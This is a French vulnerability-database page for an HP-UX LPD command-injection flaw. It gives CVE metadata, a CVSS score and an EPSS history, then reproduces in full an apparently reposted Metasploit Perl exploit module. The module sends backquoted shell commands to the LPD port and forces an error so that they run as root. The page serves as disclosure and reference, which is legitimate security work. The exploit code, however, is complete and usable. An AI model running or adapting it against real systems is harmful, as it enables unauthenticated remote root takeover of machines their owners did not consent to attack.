CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The LPD service in HP-UX 10.20 11.11 (11i) and earlier allows remote attackers to execute arbitrary code via shell metacharacters ("`" or single backquote) in a request that is not properly handled when an error occurs, as demonstrated by killing the connection, a different vulnerability than CVE-2002-1473.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
13.51%
–
–
2022-04-03
–
–
13.51%
–
–
2022-07-17
–
–
13.51%
–
–
2022-07-24
–
–
13.51%
–
–
2022-09-04
–
–
13.51%
–
–
2023-03-12
–
–
–
92.78%
–
2023-05-07
–
–
–
92.78%
–
2023-07-02
–
–
–
91.5%
–
2023-08-27
–
–
–
91.5%
–
2023-09-17
–
–
–
89.85%
–
2023-12-17
–
–
–
89.85%
–
2024-02-11
–
–
–
5.03%
–
2024-03-17
–
–
–
4.96%
–
2024-03-31
–
–
–
5.51%
–
2024-04-14
–
–
–
6.24%
–
2024-06-02
–
–
–
13.08%
–
2024-06-02
–
–
–
13.08%
–
2024-06-23
–
–
–
14.81%
–
2024-07-28
–
–
–
19.55%
–
2024-09-22
–
–
–
89.85%
–
2024-12-22
–
–
–
82.51%
–
2025-01-19
–
–
–
82.51%
–
2025-03-18
–
–
–
–
38%
2025-03-18
–
–
–
–
38,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2005-10-18 22h00 +00:00 Auteur : H D Moore EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::hpux_lpd_exec;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'HP-UX LPD Command Execution',
'Version' => '$Revision: 1.13 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
'Arch' => [ ],
'OS' => [ 'hpux' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
},
'Payload' =>
{
'Space' => 200,
'Keys' => ['cmd_nospaceslash'],
},
'Description' => Pex::Text::Freeform(qq{
This exploit abuses an unpublished vulnerability in the HP-UX LPD
service. This flaw allows an unauthenticated attacker to execute
arbitrary commands with the privileges of the root user. The LPD
service is only exploitable when the address of the attacking system
can be resolved by the target. This vulnerability was silently patched
with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213.
}),
'Refs' => [
['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html']
],
'Keys' => ['lpd'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
my $res;
# We use a second connection to exploit the bug
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
srand(time() + $$);
my $num = int(rand() * 1000);
$s->Send("\x02msf$num`$cmd`\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our second job request command");
$s->Close;
return;
}
$s->Send("\x02 32 cfA187control\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file");
$s->Close;
return;
}
$self->PrintLine("[*] Remember to kill the telnet process when finished");
$self->PrintLine("[*] Forcing an error and hijacking the cleanup routine...");
$s->Send(Pex::Text::AlphaNumText(16384));
$s->Close;
return;
}
# milw0rm.com [2005-10-19]